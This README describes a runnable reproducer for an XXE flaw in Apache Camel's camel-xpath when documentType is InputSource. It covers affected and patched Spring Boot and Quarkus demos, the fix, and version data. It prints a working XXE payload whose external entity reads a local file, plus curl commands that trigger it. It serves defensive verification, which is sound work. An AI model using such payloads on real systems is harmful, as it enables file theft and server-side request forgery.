
Runnable XXE proof-of-concept for CVE-2026-85250 in Apache Camel camel-xpath (documentType=InputSource), with Spring Boot and Quarkus affected vs fixed demos.
documentType=InputSource)Runnable proof-of-concept reproducer for the Apache Camel vulnerability where, with documentType set to
InputSource, XPathBuilder handed the payload straight to javax.xml.xpath, which builds a DocumentBuilder of
its own using the JDK defaults. The hardening applied to Camel's default document type was therefore bypassed: a
DOCTYPE declaration that is refused on the default type was accepted here, and the external entity it declared was
resolved and expanded into the evaluated document. An external sender whose XML reaches such an expression could
read files readable by the Camel process and cause the process to issue requests to hosts it names.
| Runtime | Directory | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-xpath 4.22.0 (affected; fixed 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0, affected; fixed control CQ 3.40.0 / Camel 4.22.1) |
Both modules demonstrate the affected and the fixed behaviour.
A benign "secret" file is planted on disk (cve-2026-85250-secret.txt, containing a marker string), standing in for a
local file readable by the Camel process. The attacker sends XML — as an InputStream, which is what converts to an
InputSource — carrying a DOCTYPE whose external entity references that file:
<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>
The route evaluates xpath("/test/text()").documentType(InputSource.class) over the body.
InputSource parser (JDK defaults) resolves the external entity, so the XPath result is the
contents of the file — the marker is exfiltrated.DOCTYPE is refused by the hardened parser (the same one the default document type uses), so
evaluation fails before any entity is resolved.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused
| Property | Value |
|---|---|
| Component | camel-xpath (XPathBuilder, documentType=InputSource) |
| CWE | CWE-611 (Improper Restriction of XML External Entity Reference) |
| Severity | HIGH |
| Attack vector | Untrusted XML evaluated by an XPath expression configured with documentType=InputSource |
| Impact | XXE: local file disclosure and server-side request forgery via external entities |
| Affected Versions | From 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1 |
| Fixed Versions | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24475 |
| Credit | Claude Security Scan Tool |
Advisory: https://camel.apache.org/security/CVE-2026-85250.html
XPathBuilder now routes an InputSource (and SAXSource) through
toHardenedDocument(), which converts it to a org.w3c.dom.Document using the same hardened
DocumentBuilderFactory the default document type already uses, before handing it to the XPath engine — so both
document types are parsed with the same configuration and a DOCTYPE is refused. Note the InputSource type now also
shares the default type's documented escape hatch: the same DocumentBuilderFactory system properties that relax the
default type relax this one.
Do not use documentType=InputSource on expressions evaluated over untrusted XML; the default document type already
refuses a DOCTYPE.
This repository is published for educational and defensive purposes: to help Apache Camel users understand the vulnerability, verify whether they are affected, and confirm that upgrading resolves it. The "secret" file is an inert, planted marker. Do not use this material against systems you do not own or operate.